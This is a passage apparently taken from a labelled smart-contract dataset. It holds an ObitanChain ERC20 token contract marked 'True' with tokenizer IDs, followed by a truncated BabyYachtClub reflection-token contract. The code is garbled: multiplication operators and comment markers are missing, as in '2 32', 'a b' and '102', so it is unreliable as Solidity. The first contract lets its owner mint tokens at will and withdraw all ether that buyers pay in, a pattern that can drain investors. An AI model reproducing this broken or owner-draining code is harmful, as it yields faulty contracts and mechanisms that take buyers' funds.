value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ObitanChainToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "ObitanChain"; string public constant symbol = "OBTC"; uint public constant decimals = 8; uint256 public totalSupply = 30000000000e8; uint256 public totalDistributed = 5000000000e8; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 20000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function ObitanChainToken () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which should be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 2171, 1024, 27885, 25451, 24925, 2078, 1006, 27885, 13535, 1007, 1008, 26066, 2015, 1024, 1022, 1008, 21948, 6279, 22086, 1024, 11910, 8889, 8889, 8889, 2692, 1008, 1008, 1008, 1008, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 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pragma solidity ^0.8.3; // SPDX-License-Identifier: Unlicensed /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /* * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // contract implementation contract BabyYachtClub is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; // string private _name = "BabyYachtClub"; // name string private _symbol = "BYacht"; // symbol uint256 private _tTotal = 1000 10*9 10uint256(_decimals); // total supply // % to holders uint256 public defaultTaxFee = 2; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // % to swap & send to marketing wallet uint256 public defaultMarketingFee = 4; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 8; bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = _tTotal.div(1).div(100); uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); address payable public marketingWallet = payable(0x5f49cb4284DDB68F398a5f1ce2927eD01c773622); // Wallet // mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; event SwapAndSendEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero 